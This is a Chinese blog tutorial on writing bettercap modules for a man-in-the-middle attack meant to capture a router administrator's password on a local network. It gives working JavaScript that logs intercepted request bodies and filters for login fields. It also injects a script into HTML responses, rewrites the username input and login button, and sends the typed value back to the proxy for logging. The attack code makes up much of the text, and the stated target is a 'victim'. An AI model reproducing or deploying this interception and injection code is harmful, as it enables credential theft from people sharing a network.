【工具解析】瑞士军刀bettercap2.X

    xiaoxiao2024-11-06  69

    /文章作者:Kali_MG1937 博客:ALDYS4 QQ:3496925334/

    第一期: https://blog.csdn.net/ALDYS4/article/details/90316692

    在上第一期文章中我简要解析了bettercap模块的编写方法 这一期我们将编写一个注入模块来应用于实战中 实战内容:流量嗅探

    明晰思路

    假设一个场景:你想要进入内网的路由器管理页面 可是你并不知道密码,那么就需要嗅探管理员的流量,诱导对方登入管理页面以便自己得到密码

    思路非常简单 要嗅探受害者可能发送的关键信息,主要还是拦截受害者发出的请求 我们在上一期已经知道onRequest函数是用来拦截request请求的 其中包含两个变量:req,res req即为request,所以我们对这个函数进行操作 利用ReadBody函数来读取req的具体内容并打印在终端上

    开始工程

    function onRequest(req,res) { var data=req.ReadBody(); log("\033[01;32mDUMP!!!:\n"+data); }

    很简单易懂的代码,我们将模块带入bettercap进行测试 可以看到 受害者一旦发送请求,就能立刻被拦截

    接下来将脚本升级,让脚本自动嗅探密码之类的关键信息

    function onRequest(req,res) { var data=req.ReadBody(); if(data.indexOf("user_name")!=-1) { log("\033[01;32mPASSWORD DUMP!!!!!!!!:\n"+data); } }

    可以看到我只是对body的内容进行判断,脚本就能自动筛选重要信息了 嗅探关键信息的思路明晰之后就非常好办了

    但如果受害者发送的请求已经经过加密那该怎么办? 那也非常简单,我们可以对服务器发送给受害者的内容做做手脚 我在这里举一个简单的例子: 对网页内容注入一个脚本,让受害者在点击登入按钮时获取用户名及密码input标签的内容并发送给我 我先编写一个欲注入的js脚本,命名为inject.js

    <script> function posts() { var http=new XMLHttpRequest(); var data=document.getElementById("username").value; alert(data);//我这里仅仅是为了测试而调用alert函数 http.open('POST','/test');//向test页面发送请求 http.send(data); } </script>

    很明显,我写的上面这个脚本先建立一个XMLHttpRequest对象 并将指定id的值放入data 最终函数将向一个不存在的页面发送post请求,以便bettercap嗅探到

    function onRequest(req, res) { if( req.Method == 'POST' && req.Path == "/test" ) //如果请求是post,并且请求页面是test,则执行如下代码 { log( "\033[01;32m[LOGIN MANAGER ABUSER]\n"+req.ReadBody() ); headers = res.Headers.split("\r\n"); for (var i = 0; i < headers.length; i++) { header_name = headers[i].replace(/:.*/, ""); res.RemoveHeader(header_name); } res.SetHeader("Connection", "close"); res.Status = 200; res.ContentType = "text/html"; res.Body = "";//清除请求内容 } } // inject the javascript in html pages function onResponse(req, res) { if( res.ContentType.indexOf('text/html') == 0 ){ var body = res.ReadBody(); if( body.indexOf('</head>') != -1 ) { body = body.replace( '</head>', '<script type="text/javascript">' + "\n" + readFile("/root/inject.js")//注入脚本 + '</script>' + '</head>' ); //这一部分注入脚本 body=body.replace('<input name="user_name"', '<input name="user_name" id="username"'); //向输入用户名的input标签注入id,以便脚本找到被注入的input body=body.replace('<input text="登入"', '<input text="登入" οnclick="posts()"'); //向登入按钮注入onclick函数,并调用我之前注入的函数 res.Body=body;//替换res的body内容 } } }

    代码的具体作用我已经以注释形式写在代码中了 接下来我模拟管理员进行登入 可以看到bettercap已经嗅探到用户名了

    最新回复(0)